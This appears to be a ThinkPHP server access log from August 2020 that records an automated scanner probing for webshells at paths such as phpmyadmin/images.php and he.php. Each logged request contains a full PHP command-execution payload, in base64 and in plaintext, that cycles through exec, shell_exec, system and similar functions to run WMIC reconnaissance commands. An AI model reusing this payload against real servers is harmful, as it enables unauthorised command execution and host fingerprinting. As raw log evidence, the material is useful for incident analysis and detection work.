dXRlKCRjbWQsICRleGVjX2Z1bmN0aW9uKSwgJHNpZ25hbCkgIT09IGZhbHNlKSByZXR1cm4gJGV4ZWNfZnVuY3Rpb247CiAgICB9CiAgICByZXR1cm4gJ3Bhc3N0aHJ1JzsKfQoKZnVuY3Rpb24gcnVuKCRjbWQpewogICAgcmV0dXJuIGV4ZWN1dGUoJGNtZCwgZ2V0X2V4ZWN1dGFibGVfZm4oKSk7Cn0KCmVjaG8gc3RycmV2KCIzVXFJVW1oSiIpOwplY2hvIHJ1bigiV01JQyBDUFUgR2V0IE5hbWUsTnVtYmVyT2ZDb3JlcyxOdW1iZXJPZkxvZ2ljYWxQcm9jZXNzb3JzICYgd21pYyBjb21wdXRlcnN5c3RlbSBnZXQgbW9kZWwsbmFtZSxtYW51ZmFjdHVyZXIsc3lzdGVtdHlwZSAmIHdtaWMgb3MgZ2V0IExhc3RCb290VXBUaW1lIik7CmVjaG8gc3RycmV2KCI5czN2d1g5NyIpOwpkaWUoKTsK', 'eval' => ' function execute($cmd, $fn){ $output = ""; switch ($fn) { case \'exec\': $output_lines = array(); exec($cmd, $output_line); foreach ($output_line as $line) $output .= $line."\\n"; break; case \'shell_exec\': $output .= shell_exec($cmd); break; case \'proc_open\': $descriptors = array( 0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w") ); $process = proc_open($cmd, $descriptors, $pipes, $cwd); $output .= stream_get_contents($pipes[1]); fclose($pipes[1]); break; case \'popen\': $ph = popen($cmd, \'r\'); while($o = fgets($ph)) $output .= $o; pclose($ph); break; case \'system\': $output .= system($cmd); break; case \'passthru\': passthru($cmd); break; } return $output; } function get_executable_fn(){ $signal = "RpJd8fFu"; $cmd = "echo ".$signal; foreach (array("exec", "shell_exec", "proc_open", "popen", "system") as $exec_function) { if(function_exists($exec_function) && strpos(execute($cmd, $exec_function), $signal) !== false) return $exec_function; } return \'passthru\'; } function run($cmd){ return execute($cmd, get_executable_fn()); } echo strrev("3UqIUmhJ"); echo run("WMIC CPU Get Name,NumberOfCores,NumberOfLogicalProcessors & wmic computersystem get model,name,manufacturer,systemtype & wmic os get LastBootUpTime"); echo strrev("9s3vwX97"); die(); ', ) [ info ] [ LOG ] INIT File --------------------------------------------------------------- [ 2020-08-11T07:34:15+08:00 ] 103.207.166.61 POST 39.98.42.52:9025/phpmyadmin/db__.init.php [运行时间：0.045896s] [吞吐率：21.79req/s] [内存消耗：3,041.50kb] [文件加载：106] [ info ] [ BEHAVIOR ] Run Closure @app_init [ RunTime:0.000000s ] [ info ] [ CACHE ] INIT File [ info ] [ BEHAVIOR ] Run Closure @app_init [ RunTime:0.002930s ] [ info ] [ LANG ] D:\wwwroot\food\thinkphp\lang\zh-cn.php [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'phpmyadmin', 1 => 'db__.init.php', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '39.98.42.52:9025', 'user-agent' => 'python-requests/2.23.0', 'accept-encoding' => 'gzip, deflate', 'accept' => '*/*', 'connection' => 'keep-alive', 'content-length' => '4744', 'content-type' => 'application/x-www-form-urlencoded', ) [ info ] [ PARAM ] array ( 'ac' => 'shell', 'c' => 'echo JhmU^IqU3 & WMIC CPU Get Name,NumberOfCores,NumberOfLogicalProcessors & wmic computersystem get model,name,manufacturer,systemtype & wmic os get LastBootUpTime & echo 79Xw^v3s9', 'a' => '34926', 'code' => 'CmZ1bmN0aW9uIGV4ZWN1dGUoJGNtZCwgJGZuKXsKICAgICRvdXRwdXQgPSAiIjsKICAgIHN3aXRjaCAoJGZuKSB7CiAgICAgICAgY2FzZSAnZXhlYyc6CiAgICAgICAgICAgICRvdXRwdXRfbGluZXMgPSBhcnJheSgpOwogICAgICAgICAgICBleGVjKCRjbWQsICRvdXRwdXRfbGluZSk7CiAgICAgICAgICAgIGZvcmVhY2ggKCRvdXRwdXRfbGluZSBhcyAkbGluZSkgJG91dHB1dCAuPSAkbGluZS4iXG4iOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdzaGVsbF9leGVjJzoKICAgICAgICAgICAgJG91dHB1dCAuPSBzaGVsbF9leGVjKCRjbWQpOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdwcm9jX29wZW4nOgogICAgICAgICAgICAkZGVzY3JpcHRvcnMgPSBhcnJheSgKICAgICAgICAgICAgICAgIDAgPT4gYXJyYXkoInBpcGUiLCAiciIpLAogICAgICAgICAgICAgICAgMSA9PiBhcnJheSgicGlwZSIsICJ3IiksCiAgICAgICAgICAgICAgICAyID0+IGFycmF5KCJwaXBlIiwgInciKQogICAgICAgICAgICApOwogICAgICAgICAgICAkcHJvY2VzcyA9IHByb2Nfb3BlbigkY21kLCAkZGVzY3JpcHRvcnMsICRwaXBlcywgJGN3ZCk7CiAgICAgICAgICAgICRvdXRwdXQgLj0gc3RyZWFtX2dldF9jb250ZW50cygkcGlwZXNbMV0pOwogICAgICAgICAgICBmY2xvc2UoJHBpcGVzWzFdKTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAncG9wZW4nOgogICAgICAgICAgICAkcGggPSBwb3BlbigkY21kLCAncicpOwogICAgICAgICAgICB3aGlsZSgkbyA9IGZnZXRzKCRwaCkpICRvdXRwdXQgLj0gJG87CiAgICAgICAgICAgIHBjbG9zZSgkcGgpOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdzeXN0ZW0nOgogICAgICAgICAgICAkb3V0cHV0IC49IHN5c3RlbSgkY21kKTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAncGFzc3RocnUnOgogICAgICAgICAgICBwYXNzdGhydSgkY21kKTsKICAgICAgICAgICAgYnJlYWs7CiAgICB9CiAgICByZXR1cm4gJG91dHB1dDsKfQpmdW5jdGlvbiBnZXRfZXhlY3V0YWJsZV9mbigpewogICAgJHNpZ25hbCA9ICJScEpkOGZGdSI7CiAgICAkY21kID0gImVjaG8gIi4kc2lnbmFsOwogICAgZm9yZWFjaCAoYXJyYXkoImV4ZWMiLCAic2hlbGxfZXhlYyIsICJwcm9jX29wZW4iLCAicG9wZW4iLCAic3lzdGVtIikgYXMgJGV4ZWNfZnVuY3Rpb24pIHsKICAgICAgICBpZihmdW5jdGlvbl9leGlzdHMoJGV4ZWNfZnVuY3Rpb24pICYmIHN0cnBvcyhleGVjdXRlKCRjbWQsICRleGVjX2Z1bmN0aW9uKSwgJHNpZ25hbCkgIT09IGZhbHNlKSByZXR1cm4gJGV4ZWNfZnVuY3Rpb247CiAgICB9CiAgICByZXR1cm4gJ3Bhc3N0aHJ1JzsKfQoKZnVuY3Rpb24gcnVuKCRjbWQpewogICAgcmV0dXJuIGV4ZWN1dGUoJGNtZCwgZ2V0X2V4ZWN1dGFibGVfZm4oKSk7Cn0KCmVjaG8gc3RycmV2KCIzVXFJVW1oSiIpOwplY2hvIHJ1bigiV01JQyBDUFUgR2V0IE5hbWUsTnVtYmVyT2ZDb3JlcyxOdW1iZXJPZkxvZ2ljYWxQcm9jZXNzb3JzICYgd21pYyBjb21wdXRlcnN5c3RlbSBnZXQgbW9kZWwsbmFtZSxtYW51ZmFjdHVyZXIsc3lzdGVtdHlwZSAmIHdtaWMgb3MgZ2V0IExhc3RCb290VXBUaW1lIik7CmVjaG8gc3RycmV2KCI5czN2d1g5NyIpOwpkaWUoKTsK', 'eval' => ' function execute($cmd, $fn){ $output = ""; switch ($fn) { case \'exec\': $output_lines = array(); exec($cmd, $output_line); foreach ($output_line as $line) $output .= $line."\\n"; break; case \'shell_exec\': $output .= shell_exec($cmd); break; case \'proc_open\': $descriptors = array( 0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w") ); $process = proc_open($cmd, $descriptors, $pipes, $cwd); $output .= stream_get_contents($pipes[1]); fclose($pipes[1]); break; case \'popen\': $ph = popen($cmd, \'r\'); while($o = fgets($ph)) $output .= $o; pclose($ph); break; case \'system\': $output .= system($cmd); break; case \'passthru\': passthru($cmd); break; } return $output; } function get_executable_fn(){ $signal = "RpJd8fFu"; $cmd = "echo ".$signal; foreach (array("exec", "shell_exec", "proc_open", "popen", "system") as $exec_function) { if(function_exists($exec_function) && strpos(execute($cmd, $exec_function), $signal) !== false) return $exec_function; } return \'passthru\'; } function run($cmd){ return execute($cmd, get_executable_fn()); } echo strrev("3UqIUmhJ"); echo run("WMIC CPU Get Name,NumberOfCores,NumberOfLogicalProcessors & wmic computersystem get model,name,manufacturer,systemtype & wmic os get LastBootUpTime"); echo strrev("9s3vwX97"); die(); ', ) [ info ] [ LOG ] INIT File --------------------------------------------------------------- [ 2020-08-11T07:34:15+08:00 ] 103.207.166.61 POST 39.98.42.52:9025/images.php [运行时间：0.048825s] [吞吐率：20.48req/s] [内存消耗：3,041.35kb] [文件加载：106] [ info ] [ BEHAVIOR ] Run Closure @app_init [ RunTime:0.000000s ] [ info ] [ CACHE ] INIT File [ info ] [ BEHAVIOR ] Run Closure @app_init [ RunTime:0.002930s ] [ info ] [ LANG ] D:\wwwroot\food\thinkphp\lang\zh-cn.php [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'images.php', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '39.98.42.52:9025', 'user-agent' => 'python-requests/2.23.0', 'accept-encoding' => 'gzip, deflate', 'accept' => '*/*', 'connection' => 'keep-alive', 'content-length' => '4744', 'content-type' => 'application/x-www-form-urlencoded', ) [ info ] [ PARAM ] array ( 'ac' => 'shell', 'c' => 'echo JhmU^IqU3 & WMIC CPU Get Name,NumberOfCores,NumberOfLogicalProcessors & wmic computersystem get model,name,manufacturer,systemtype & wmic os get LastBootUpTime & echo 79Xw^v3s9', 'a' => '34926', 'code' => 'CmZ1bmN0aW9uIGV4ZWN1dGUoJGNtZCwgJGZuKXsKICAgICRvdXRwdXQgPSAiIjsKICAgIHN3aXRjaCAoJGZuKSB7CiAgICAgICAgY2FzZSAnZXhlYyc6CiAgICAgICAgICAgICRvdXRwdXRfbGluZXMgPSBhcnJheSgpOwogICAgICAgICAgICBleGVjKCRjbWQsICRvdXRwdXRfbGluZSk7CiAgICAgICAgICAgIGZvcmVhY2ggKCRvdXRwdXRfbGluZSBhcyAkbGluZSkgJG91dHB1dCAuPSAkbGluZS4iXG4iOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdzaGVsbF9leGVjJzoKICAgICAgICAgICAgJG91dHB1dCAuPSBzaGVsbF9leGVjKCRjbWQpOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdwcm9jX29wZW4nOgogICAgICAgICAgICAkZGVzY3JpcHRvcnMgPSBhcnJheSgKICAgICAgICAgICAgICAgIDAgPT4gYXJyYXkoInBpcGUiLCAiciIpLAogICAgICAgICAgICAgICAgMSA9PiBhcnJheSgicGlwZSIsICJ3IiksCiAgICAgICAgICAgICAgICAyID0+IGFycmF5KCJwaXBlIiwgInciKQogICAgICAgICAgICApOwogICAgICAgICAgICAkcHJvY2VzcyA9IHByb2Nfb3BlbigkY21kLCAkZGVzY3JpcHRvcnMsICRwaXBlcywgJGN3ZCk7CiAgICAgICAgICAgICRvdXRwdXQgLj0gc3RyZWFtX2dldF9jb250ZW50cygkcGlwZXNbMV0pOwogICAgICAgICAgICBmY2xvc2UoJHBpcGVzWzFdKTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAncG9wZW4nOgogICAgICAgICAgICAkcGggPSBwb3BlbigkY21kLCAncicpOwogICAgICAgICAgICB3aGlsZSgkbyA9IGZnZXRzKCRwaCkpICRvdXRwdXQgLj0gJG87CiAgICAgICAgICAgIHBjbG9zZSgkcGgpOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdzeXN0ZW0nOgogICAgICAgICAgICAkb3V0cHV0IC49IHN5c3RlbSgkY21kKTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAncGFzc3RocnUnOgogICAgICAgICAgICBwYXNzdGhydSgkY21kKTsKICAgICAgICAgICAgYnJlYWs7CiAgICB9CiAgICByZXR1cm4gJG91dHB1dDsKfQpmdW5jdGlvbiBnZXRfZXhlY3V0YWJsZV9mbigpewogICAgJHNpZ25hbCA9ICJScEpkOGZGdSI7CiAgICAkY21kID0gImVjaG8gIi4kc2lnbmFsOwogICAgZm9yZWFjaCAoYXJyYXkoImV4ZWMiLCAic2hlbGxfZXhlYyIsICJwcm9jX29wZW4iLCAicG9wZW4iLCAic3lzdGVtIikgYXMgJGV4ZWNfZnVuY3Rpb24pIHsKICAgICAgICBpZihmdW5jdGlvbl9leGlzdHMoJGV4ZWNfZnVuY3Rpb24pICYmIHN0cnBvcyhleGVjdXRlKCRjbWQsICRleGVjX2Z1bmN0aW9uKSwgJHNpZ25hbCkgIT09IGZhbHNlKSByZXR1cm4gJGV4ZWNfZnVuY3Rpb247CiAgICB9CiAgICByZXR1cm4gJ3Bhc3N0aHJ1JzsKfQoKZnVuY3Rpb24gcnVuKCRjbWQpewogICAgcmV0dXJuIGV4ZWN1dGUoJGNtZCwgZ2V0X2V4ZWN1dGFibGVfZm4oKSk7Cn0KCmVjaG8gc3RycmV2KCIzVXFJVW1oSiIpOwplY2hvIHJ1bigiV01JQyBDUFUgR2V0IE5hbWUsTnVtYmVyT2ZDb3JlcyxOdW1iZXJPZkxvZ2ljYWxQcm9jZXNzb3JzICYgd21pYyBjb21wdXRlcnN5c3RlbSBnZXQgbW9kZWwsbmFtZSxtYW51ZmFjdHVyZXIsc3lzdGVtdHlwZSAmIHdtaWMgb3MgZ2V0IExhc3RCb290VXBUaW1lIik7CmVjaG8gc3RycmV2KCI5czN2d1g5NyIpOwpkaWUoKTsK', 'eval' => ' function execute($cmd, $fn){ $output = ""; switch ($fn) { case \'exec\': $output_lines = array(); exec($cmd, $output_line); foreach ($output_line as $line) $output .= $line."\\n"; break; case \'shell_exec\': $output .= shell_exec($cmd); break; case \'proc_open\': $descriptors = array( 0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w") ); $process = proc_open($cmd, $descriptors, $pipes, $cwd); $output .= stream_get_contents($pipes[1]); fclose($pipes[1]); break; case \'popen\': $ph = popen($cmd, \'r\'); while($o = fgets($ph)) $output .= $o; pclose($ph); break; case \'system\': $output .= system($cmd); break; case \'passthru\': passthru($cmd); break; } return $output; } function get_executable_fn(){ $signal = "RpJd8fFu"; $cmd = "echo ".$signal; foreach (array("exec", "shell_exec", "proc_open", "popen", "system") as $exec_function) { if(function_exists($exec_function) && strpos(execute($cmd, $exec_function), $signal) !== false) return $exec_function; } return \'passthru\'; } function run($cmd){ return execute($cmd, get_executable_fn()); } echo strrev("3UqIUmhJ"); echo run("WMIC CPU Get Name,NumberOfCores,NumberOfLogicalProcessors & wmic computersystem get model,name,manufacturer,systemtype & wmic os get LastBootUpTime"); echo strrev("9s3vwX97"); die(); ', ) [ info ] [ LOG ] INIT File --------------------------------------------------------------- [ 2020-08-11T07:34:16+08:00 ] 103.207.166.61 POST 39.98.42.52:9025/phpmyadmin/images.php [运行时间：0.046872s] [吞吐率：21.33req/s] [内存消耗：3,041.50kb] [文件加载：106] [ info ] [ BEHAVIOR ] Run Closure @app_init [ RunTime:0.000000s ] [ info ] [ CACHE ] INIT File [ info ] [ BEHAVIOR ] Run Closure @app_init [ RunTime:0.002929s ] [ info ] [ LANG ] D:\wwwroot\food\thinkphp\lang\zh-cn.php [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'phpmyadmin', 1 => 'images.php', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '39.98.42.52:9025', 'user-agent' => 'python-requests/2.23.0', 'accept-encoding' => 'gzip, deflate', 'accept' => '*/*', 'connection' => 'keep-alive', 'content-length' => '4744', 'content-type' => 'application/x-www-form-urlencoded', ) [ info ] [ PARAM ] array ( 'ac' => 'shell', 'c' => 'echo JhmU^IqU3 & WMIC CPU Get Name,NumberOfCores,NumberOfLogicalProcessors & wmic computersystem get model,name,manufacturer,systemtype & wmic os get LastBootUpTime & echo 79Xw^v3s9', 'a' => '34926', 'code' => 'CmZ1bmN0aW9uIGV4ZWN1dGUoJGNtZCwgJGZuKXsKICAgICRvdXRwdXQgPSAiIjsKICAgIHN3aXRjaCAoJGZuKSB7CiAgICAgICAgY2FzZSAnZXhlYyc6CiAgICAgICAgICAgICRvdXRwdXRfbGluZXMgPSBhcnJheSgpOwogICAgICAgICAgICBleGVjKCRjbWQsICRvdXRwdXRfbGluZSk7CiAgICAgICAgICAgIGZvcmVhY2ggKCRvdXRwdXRfbGluZSBhcyAkbGluZSkgJG91dHB1dCAuPSAkbGluZS4iXG4iOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdzaGVsbF9leGVjJzoKICAgICAgICAgICAgJG91dHB1dCAuPSBzaGVsbF9leGVjKCRjbWQpOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdwcm9jX29wZW4nOgogICAgICAgICAgICAkZGVzY3JpcHRvcnMgPSBhcnJheSgKICAgICAgICAgICAgICAgIDAgPT4gYXJyYXkoInBpcGUiLCAiciIpLAogICAgICAgICAgICAgICAgMSA9PiBhcnJheSgicGlwZSIsICJ3IiksCiAgICAgICAgICAgICAgICAyID0+IGFycmF5KCJwaXBlIiwgInciKQogICAgICAgICAgICApOwogICAgICAgICAgICAkcHJvY2VzcyA9IHByb2Nfb3BlbigkY21kLCAkZGVzY3JpcHRvcnMsICRwaXBlcywgJGN3ZCk7CiAgICAgICAgICAgICRvdXRwdXQgLj0gc3RyZWFtX2dldF9jb250ZW50cygkcGlwZXNbMV0pOwogICAgICAgICAgICBmY2xvc2UoJHBpcGVzWzFdKTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAncG9wZW4nOgogICAgICAgICAgICAkcGggPSBwb3BlbigkY21kLCAncicpOwogICAgICAgICAgICB3aGlsZSgkbyA9IGZnZXRzKCRwaCkpICRvdXRwdXQgLj0gJG87CiAgICAgICAgICAgIHBjbG9zZSgkcGgpOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdzeXN0ZW0nOgogICAgICAgICAgICAkb3V0cHV0IC49IHN5c3RlbSgkY21kKTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAncGFzc3RocnUnOgogICAgICAgICAgICBwYXNzdGhydSgkY21kKTsKICAgICAgICAgICAgYnJlYWs7CiAgICB9CiAgICByZXR1cm4gJG91dHB1dDsKfQpmdW5jdGlvbiBnZXRfZXhlY3V0YWJsZV9mbigpewogICAgJHNpZ25hbCA9ICJScEpkOGZGdSI7CiAgICAkY21kID0gImVjaG8gIi4kc2lnbmFsOwogICAgZm9yZWFjaCAoYXJyYXkoImV4ZWMiLCAic2hlbGxfZXhlYyIsICJwcm9jX29wZW4iLCAicG9wZW4iLCAic3lzdGVtIikgYXMgJGV4ZWNfZnVuY3Rpb24pIHsKICAgICAgICBpZihmdW5jdGlvbl9leGlzdHMoJGV4ZWNfZnVuY3Rpb24pICYmIHN0cnBvcyhleGVjdXRlKCRjbWQsICRleGVjX2Z1bmN0aW9uKSwgJHNpZ25hbCkgIT09IGZhbHNlKSByZXR1cm4gJGV4ZWNfZnVuY3Rpb247CiAgICB9CiAgICByZXR1cm4gJ3Bhc3N0aHJ1JzsKfQoKZnVuY3Rpb24gcnVuKCRjbWQpewogICAgcmV0dXJuIGV4ZWN1dGUoJGNtZCwgZ2V0X2V4ZWN1dGFibGVfZm4oKSk7Cn0KCmVjaG8gc3RycmV2KCIzVXFJVW1oSiIpOwplY2hvIHJ1bigiV01JQyBDUFUgR2V0IE5hbWUsTnVtYmVyT2ZDb3JlcyxOdW1iZXJPZkxvZ2ljYWxQcm9jZXNzb3JzICYgd21pYyBjb21wdXRlcnN5c3RlbSBnZXQgbW9kZWwsbmFtZSxtYW51ZmFjdHVyZXIsc3lzdGVtdHlwZSAmIHdtaWMgb3MgZ2V0IExhc3RCb290VXBUaW1lIik7CmVjaG8gc3RycmV2KCI5czN2d1g5NyIpOwpkaWUoKTsK', 'eval' => ' function execute($cmd, $fn){ $output = ""; switch ($fn) { case \'exec\': $output_lines = array(); exec($cmd, $output_line); foreach ($output_line as $line) $output .= $line."\\n"; break; case \'shell_exec\': $output .= shell_exec($cmd); break; case \'proc_open\': $descriptors = array( 0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w") ); $process = proc_open($cmd, $descriptors, $pipes, $cwd); $output .= stream_get_contents($pipes[1]); fclose($pipes[1]); break; case \'popen\': $ph = popen($cmd, \'r\'); while($o = fgets($ph)) $output .= $o; pclose($ph); break; case \'system\': $output .= system($cmd); break; case \'passthru\': passthru($cmd); break; } return $output; } function get_executable_fn(){ $signal = "RpJd8fFu"; $cmd = "echo ".$signal; foreach (array("exec", "shell_exec", "proc_open", "popen", "system") as $exec_function) { if(function_exists($exec_function) && strpos(execute($cmd, $exec_function), $signal) !== false) return $exec_function; } return \'passthru\'; } function run($cmd){ return execute($cmd, get_executable_fn()); } echo strrev("3UqIUmhJ"); echo run("WMIC CPU Get Name,NumberOfCores,NumberOfLogicalProcessors & wmic computersystem get model,name,manufacturer,systemtype & wmic os get LastBootUpTime"); echo strrev("9s3vwX97"); die(); ', ) [ info ] [ LOG ] INIT File --------------------------------------------------------------- [ 2020-08-11T07:34:16+08:00 ] 103.207.166.61 POST 39.98.42.52:9025/he.php [运行时间：0.051755s] [吞吐率：19.32req/s] [内存消耗：3,041.40kb] [文件加载：106] [ info ] [ BEHAVIOR ] Run Closure @app_init [ RunTime:0.000000s ] [ info ] [ CACHE ] INIT File [ info ] [ BEHAVIOR ] Run Closure @app_init [ RunTime:0.003906s ] [ info ] [ LANG ] D:\wwwroot\food\thinkphp\lang\zh-cn.php [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'he.php', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '39.98.42.52:9025', 'user-agent' => 'python-requests/2.23.0', 'accept-encoding' => 'gzip, deflate', 'accept' => '*/*', 'connection' => 'keep-alive', 'content-length' => '4744', 'content-type' => 'application/x-www-form-urlencoded', ) [ info ] [ PARAM ] array ( 'ac' => 'shell', 'c' => 'echo JhmU^IqU3 & WMIC CPU Get Name,NumberOfCores,NumberOfLogicalProcessors & wmic computersystem get model,name,manufacturer,systemtype & wmic os get LastBootUpTime & echo 79Xw^v3s9', 'a' => '34926', 'code' => 'CmZ1bmN0aW9uIGV4ZWN1dGUoJGNtZCwgJGZuKXsKICAgICRvdXRwdXQgPSAiIjsKICAgIHN3aXRjaCAoJGZuKSB7CiAgICAgICAgY2FzZSAnZXhlYyc6CiAgICAgICAgICAgICRvdXRwdXRfbGluZXMgPSBhcnJheSgpOwogICAgICAgICAgICBleGVjKCRjbWQsICRvdXRwdXRfbGluZSk7CiAgICAgICAgICAgIGZvcmVhY2ggKCRvdXRwdXRfbGluZSBhcyAkbGluZSkgJG91dHB1dCAuPSAkbGluZS4iXG4iOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdzaGVsbF9leGVjJzoKICAgICAgICAgICAgJG91dHB1dCAuPSBzaGVsbF9leGVjKCRjbWQpOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdwcm9jX29wZW4nOgogICAgICAgICAgICAkZGVzY3JpcHRvcnMgPSBhcnJheSgKICAgICAgICAgICAgICAgIDAgPT4gYXJyYXkoInBpcGUiLCAiciIpLAogICAgICAgICAgICAgICAgMSA9PiBhcnJheSgicGlwZSIsICJ3IiksCiAgICAgICAgICAgICAgICAyID0+IGFycmF5KCJwaXBlIiwgInciKQogICAgICAgICAgICApOwogICAgICAgICAgICAkcHJvY2VzcyA9IHByb2Nfb3BlbigkY21kLCAkZGVzY3JpcHRvcnMsICRwaXBlcywgJGN3ZCk7CiAgICAgICAgICAgICRvdXRwdXQgLj0gc3RyZWFtX2dldF9jb250ZW50cygkcGlwZXNbMV0pOwogICAgICAgICAgICBmY2xvc2UoJHBpcGVzWzFdKTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAncG9wZW4nOgogICAgICAgICAgICAkcGggPSBwb3BlbigkY21kLCAncicpOwogICAgICAgICAgICB3aGlsZSgkbyA9IGZnZXRzKCRwaCkpICRvdXRwdXQgLj0gJG87CiAgICAgICAgICAgIHBjbG9zZSgkcGgpOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdzeXN0ZW0nOgogICAgICAgICAgICAkb3V0cHV0IC49IHN5c3RlbSgkY21kKTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAncGFzc3RocnUnOgogICAgICAgICAgICBwYXNzdGhydSgkY21kKTsKICAgICAgICAgICAgYnJlYWs7CiAgICB9CiAgICByZXR1cm4gJG91dHB1dDsKfQpmdW5jdGlvbiBnZXRfZXhlY3V0YWJsZV9mbigpewogICAgJHNpZ25hbCA9ICJScEpkOGZGdSI7CiAgICAkY21kID0gImVjaG8gIi4kc2lnbmFsOwogICAgZm9yZWFjaCAoYXJyYXkoImV4ZWMiLCAic2hlbGxfZXhlYyIsICJwcm9jX29wZW4iLCAicG9wZW4iLCAic3lzdGVtIikgYXMgJGV4ZWNfZnVuY3Rpb24pIHsKICAgICAgICBpZihmdW5jdGlvbl9leGlzdHMoJGV4ZWNfZnVuY3Rpb24pICYmIHN0cnBvcyhleGVjdXRlKCRjbWQsICRleGVjX2Z1bmN0aW9uKSwgJHNpZ25hbCkgIT09IGZhbHNlKSByZXR1cm4gJGV4ZWNfZnVuY3Rpb247CiAgICB9CiAgICByZXR1cm4gJ3Bhc3N0aHJ1JzsKfQoKZnVuY3Rpb24gcnVuKCRjbWQpewogICAgcmV0dXJuIGV4ZWN1dGUoJGNtZCwgZ2V0X2V4ZWN1dGFibGVfZm4oKSk7Cn0KCmVjaG8gc3RycmV2KCIzVXFJVW1oSiIpOwplY2hvIHJ1bigiV01JQyBDUFUgR2V0IE5hbWUsTnVtYmVyT2ZDb3JlcyxOdW1iZXJPZkxvZ2ljYWxQcm9jZXNzb3JzICYgd21pYyBjb21wdXRlcnN5c3RlbSBnZXQgbW9kZWwsbmFtZSxtYW51ZmFjdHVyZXIsc3lzdGVtdHlwZSAmIHdtaWMgb3MgZ2V0IExhc3RCb290VXBUaW1lIik7CmVjaG8gc3RycmV2KCI5czN2d1g5NyIpOwpkaWUoKTsK', 'eval' => ' function execute($cmd, $fn){ $output = ""; switch ($fn) { case \'exec\': $output_lines = array(); exec($cmd, $output_line); foreach ($output_line as $line) $output .= $line."\\n"; break; case \'shell_exec\': $output .= shell_exec($cmd); break; case \'proc_open\': $descriptors = array( 0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w") ); $process = proc_open($cmd, $descriptors, $pipes, $cwd); $output .= stream_get_contents($pipes[1]); fclose($pipes[1]); break; case \'popen\': $ph = popen($cmd, \'r\'); while($o = fgets($ph)) $output .= $o; pclose($ph); break; case \'system\': $output .= system($cmd); break; case \'passthru\': passthru($cmd); break; } return $output; } function get_executable_fn(){ $signal = "RpJd8fFu"; $cmd = "echo ".$signal; foreach (array("exec", "shell_exec", "proc_open", "popen", "system") as $exec_function) { if(function_exists($exec_function) && strpos(execute($cmd, $exec_function), $signal) !== false) return $exec_function; } return \'passthru\'; } function run($cmd){ return execute($cmd, get_executable_fn()); } echo strrev("3UqIUmhJ"); echo run("WMIC CPU Get Name,NumberOfCores,NumberOfLogicalProcessors & wmic computersystem get model,name,manufacturer,systemtype & wmic os get LastBootUpTime"); echo strrev("9s3vwX97"); die(); ', ) [ info ] [ LOG ] INIT File --------------------------------------------------------------- [ 2020-08-11T07:34:16+08:00 ] 103.207.166.61 POST 39.98.42.52:9025/phpmyadmin/he.php [运行时间：0.045895s] [吞吐率：21.79req/s] [内存消耗：3,041.64kb] [文件加载：106] [ info ] [ BEHAVIOR ] Run Closure @app_init [ RunTime:0.000000s ] [ info ] [ CACHE ] INIT File [ info ] [ BEHAVIOR ] Run Closure @app_init [ RunTime:0.002929s ] [ info ] [ LANG ] D:\wwwroot\food\thinkphp\lang\zh-cn.php [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'phpmyadmin', 1 => 'he.php', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '39.98.42.52:9025', 'user-agent' => 'python-requests/2.23.0', 'accept-encoding' => 'gzip, deflate', 'accept' => '*/*', 'connection' => 'keep-alive', 'content-length' => '4744', 'content-type' => 'application/x-www-form-urlencoded', ) [ info ] [ PARAM ] array ( 'ac' => 'shell', 'c' => 'echo JhmU^IqU3 & WMIC CPU Get Name,NumberOfCores,NumberOfLogicalProcessors & wmic computersystem get model,name,manufacturer,systemtype & wmic os get LastBootUpTime & echo 79Xw^v3s9', 'a' => '34926', 'code' => 